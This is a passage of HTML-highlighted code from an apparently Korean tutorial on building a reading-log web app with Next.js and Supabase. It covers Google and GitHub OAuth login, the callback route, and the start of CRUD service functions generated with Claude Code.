  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;handleGithubLogin&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;signInWithOAuth&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      provider&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;github&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      options&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        redirectTo&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;location&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;origin&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/auth/callback&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flex min-h-screen items-center justify-center bg-gray-50&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;w-full max-w-md space-y-8 rounded-xl bg-white p-8 shadow-lg&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;text-center&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;h1 className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;text-3xl font-bold text-gray-900&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;BookLog&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;h1&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;p className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;mt-2 text-gray-600&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;나만의 독서 기록을 시작하세요&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;div className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;space-y-4&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;button
            onClick&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;handleGoogleLogin&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flex w-full items-center justify-center gap-3 rounded-lg border border-gray-300 bg-white px-4 py-3 text-gray-700 transition hover:bg-gray-50&quot;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;svg className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;h-5 w-5&quot;&lt;/span&gt; viewBox&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;0 0 24 24&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;path
                fill&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;#4285F4&quot;&lt;/span&gt;
                d&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92a5.06 5.06 0 01-2.2 3.32v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.1z&quot;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;path
                fill&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;#34A853&quot;&lt;/span&gt;
                d&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z&quot;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;path
                fill&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;#FBBC05&quot;&lt;/span&gt;
                d&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z&quot;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;path
                fill&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;#EA4335&quot;&lt;/span&gt;
                d&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z&quot;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;svg&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            Google로 로그인
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;button&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;button
            onClick&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;handleGithubLogin&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flex w-full items-center justify-center gap-3 rounded-lg bg-gray-900 px-4 py-3 text-white transition hover:bg-gray-800&quot;&lt;/span&gt;
          &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;svg className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;h-5 w-5&quot;&lt;/span&gt; fill&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;currentColor&quot;&lt;/span&gt; viewBox&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;0 0 24 24&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
              &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;path d&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;svg&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
            GitHub로 로그인
          &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;button&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;div&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;OAuth 콜백 처리&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/app/auth/callback/route.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createServerSupabaseClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/lib/supabase-server&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; searchParams&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; origin &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;&lt;span class=&quot;token constant&quot;&gt;URL&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; code &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; searchParams&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;code&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;code&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; supabase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createServerSupabaseClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;exchangeCodeForSession&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;code&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;origin&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/dashboard&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;CRUD 구현 — Claude Code로 &quot;독서 기록 CRUD 만들어줘&quot;&lt;/h2&gt;
&lt;p&gt;이제 핵심 기능인 독서 기록 CRUD를 구현합니다. Claude Code에게 아래와 같이 요청하면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;reading_records 테이블에 대한 CRUD 서비스 함수를 만들어줘.

- Supabase JS Client 사용
- TypeScript
- 에러 처리 포함
- book 정보도 함께 조회 (join)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;서비스 레이어 — 독서 기록 CRUD&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/services/records.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/lib/supabase&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; ReadingStatus &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/types/database&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; supabase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 내 독서 기록 전체 조회&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getMyRecords&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;status&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ReadingStatus&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; query &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;reading_records&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
      *,
      book:books(*)
    &lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;order&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;updated_at&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; ascending&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;status&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    query &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; query&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eq&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;status&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; status&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; query
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 독서 기록 생성&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createRecord&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  bookId&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ReadingStatus &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;want_to_read&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    data&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; user &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getUser&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;user&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;인증이 필요합니다&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;reading_records&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      user_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; user&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      book_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; bookId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      status&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
